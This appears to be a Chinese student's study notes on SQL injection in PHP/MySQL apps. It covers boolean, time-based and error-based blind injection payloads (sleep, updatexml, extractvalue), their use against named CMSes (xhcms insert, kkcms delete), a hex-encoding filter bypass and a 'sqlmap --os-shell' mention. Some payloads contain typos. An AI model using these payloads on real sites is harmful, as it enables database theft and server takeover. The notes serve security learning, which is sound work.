.png)
知识点
sql操作-增删改查
注入函数-布尔&报错&延迟
注入条件-数据回显&错误处理
CMS案例-插入报错&删除延迟
sqlmap流量大很容易被识别
hosts文件
一、PHP-MYSQL-SQL操作-增删改查
1、功能:数据查询
查询:SELECT * FROM news where id=$id
2、功能:新增用户,添加新闻等
增加: INSERT INTO news (字段名) VALUES(数据)
insert into admin(`id`,`username`,`password`,`ip`) values(`3`,`zmx`,`123456`,`127.0.0.1`)
3、功能:删除用户,删除新闻等
删除: DELETE FROM news WHERE id=$id
4、功能:修改用户,修改文章等
修改: UPDATE news SET id=$id where username = xiaozhu
二、PHP-MYSOL-注入函数-布尔&报错&延迟
1、定义
盲注就是在注入过程中,获取的数据不能回显至前端页面。我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
2、解决
常规的联合查询注入不行的情况
3、我们可以知道盲注分为以下三类:
(1)基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid
(2)基于时间的SQL盲注-延时判断
if,sleep
(3)基于报错的SQL盲注-报错回显
floor,updatexml,extractvalue
延迟:
and sleep(1);
and if(1>2,sleep(1),sleep(0));
and if(1<2,sleep(1),sleep(0));
布尔:必须要回显 一个一个测
and length(database())=7;
and left(database(),1)='p';
and left(database(),2)='pi';
and substr(database(),1,1)='p';
and substr(database(),2,1)='i';
and ord(left(database(),1))=112;
报错:
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
and extractvalue(1,concat(0x5c,(select table name frominformation schema.tables limit0,1)));
0x7e ---> ~ 看的更直观
0x5c ---> /
参考:
like 'ro%' #判断ro或ro...是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi..等
if(条件,5,0) #条件成立 返回5 反之 返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database(),1),database() # left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
ord表示开启数据库ascii编码开关
三、PHP-MYSOL-注入条件-数据回显&错误处理
PHP开发项目-输出结果&开启报错
1、基于延时:都不需要
and if(1=1,sleep(5)0)
2、基于布尔:有数据库输出判断标准
and length(database())=6
3、基于报错:有数据库报错处理判断标准
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
测试delete注入:(有无回显,有无报错)
删除(延迟):1 and if(1=1,sleep(5),0)
删除(布尔):3 and length(database())=6(无回显无法判断注入)
删除(报错):4 and updatexml(1,concat(0x7e,(SELECT version())0x7e),1)
文件上传的文件名如果被保存到数据库,说明执行的是insert插入语句,则在上传时可以把文件名命名为注入语句,这就是insert导致的注入漏洞
多用or 少用and
如果黑盒,报错和延迟都能用,但是报错服务器要有相应报错代码
四、PHP-MYSOL-CMS案例-插入报错&删除延时
1、xhcms-insert报错
'and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and'
2、kkcms-delete延时
and if(1=1,sleep(5),0)
or if(1=1,sleep(5),0)
or if(or(left(database(),1))=107,sleep(2),0)
用sleep,但是过滤了',转义了,则可以ascii或者整句转换成hex,再加上0x
此CMS纯php代码,只接收数据,则有个前端页面,mvc模型,请复习安全开发
盲注主要看网站有无增删改查四个功能,实战一般不用手工,先用工具,如果工具注入不了,则用手工测试,再纠正工具逻辑和语句
白盒就是分析就好了
sqlmap --os-shell
这节有点小迷糊
小结
代码也记不住,所以全程肯定是用sqlmap,手注测试后配合工具
每种盲注要用的函数要记得,原理要很熟悉
Comments NOTHING